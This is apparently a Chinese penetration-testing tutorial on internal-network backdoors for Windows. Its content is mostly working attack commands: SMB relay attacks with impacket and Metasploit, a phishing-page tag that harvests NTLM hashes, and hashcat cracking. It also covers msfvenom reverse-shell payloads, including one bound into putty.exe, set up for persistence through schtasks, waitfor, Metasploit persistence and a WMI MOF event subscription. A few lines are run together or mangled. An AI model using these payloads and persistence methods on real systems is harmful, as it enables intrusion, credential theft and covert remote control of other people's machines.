内网渗透----常见后门
0x01.综合利用手法
1.Smbrelay
smbrelayx.py
由于此手法是中间件攻击,需要关闭SMB的签名措施,Windows Server默认开启,其他系统默认关闭,使用 nmap扫描一下未开启签名的机器:
nmap -sT -p 445 --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.91.0/24
关闭SMB签名方法:
修改注册表后重新启动:
注册表位置
HKEY_LOCAL_MACHIME\System\CurrentControlSet\Services\LanManServer\Paramete
EnableSecuritySignature = 0
RequireSecuritySignature = 0
使用impacket中的smbrelayx.py进行中继攻击,目标是192.168.91.131:(第一次使用需要安装 pip install .)
python smbrelayx.py -h 192.168.91.131 -c calc.exe
当其他服务器使用相同的密码访问此服务器时:192.168.91.128为kali
net use \\192.168.91.128/user:"Administrator" "ABCabc123"
Kali接收到Hash:
目标服务器出现calc进程:
可以将hash粘贴出来,使用hashcat进行字典攻击:
hashcat64.exe -a 0 -m 5600 hash.txt pass.txt
可制作钓鱼网站,包含以下内容
<img src="\\192.168.91.128\Admin$">
启动服务:
python smbrelayx.py -h 192.168.91.131
用户访问时:
2.smb_relay(MSF)
msfconsole
use exploit/windows/smb/smb_relay
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.41
set smbhost 192.168.111.150
run
当其他机器访问Kali的共享时,可获得目标机器的shell:
net use \\192.168.91.128/user:"Administrator" "ABCabc123"
sessions
sessions -i 1
可以搭配NBNS欺骗、DNS欺骗使用
0x02.Waitfor后门
net use * /delete //清空共享
waitfor 123456 && calc.exe //本地执行
waitfor /s 127.0.0.1 /si college //测试
waitfor /s 192.168.91.131 /si 123456 /U Administrator /P ABCabc123
0x03.At && Schtasks(需要管理员权限)
先生成一个远控程序:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.91.128 lport=4444 -f exe -o backdoor.exe
-x putty.exe -k (先执行程序,在执行后门)
将远控程序上传至服务器,使用schtasks,要求在用户登录时执行程序,返回shell。
schtasks /create /tn hello /tr C:\Users\admin\Desktop\backdoor.exe /sc onlogon /ru system
用户登录时,成功反弹shell
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.91.128
set lport 4444
run
0x03.Metasploit后门模块
当获得了一个meterpreter时,可设置后门程序:
background
use exploit/windows/local/persistenceshow
options
set session 6
set delay 60run
0x04.WMI+MOF
假设已经获得了管理员权限,可构造MOF后门,MOF文件模板如下:1.mof
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C 命令";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding {
Filter = $Filt;
Consumer = $Cons;
};
利用msfvenom生成powershell反弹shell的命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.91.128 lport=6677 -f psh-cmd
将生成的powershell部分替换模板中的“命令”部分:
将mof上传至服务器,在服务器中以管理员身份启动CMD,运行:
mofcomp 1.mof
监听端口,待服务器打开notepad.exe:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.91.128
set lport 6677
run
其他事件,实测只能监听一个事件:
关闭powershell:
#!sql"SELECT * FROM __InstanceDeletionEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"powershell.exe\" ";
每小时的30分钟:
#!sql"Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Minute = 30 "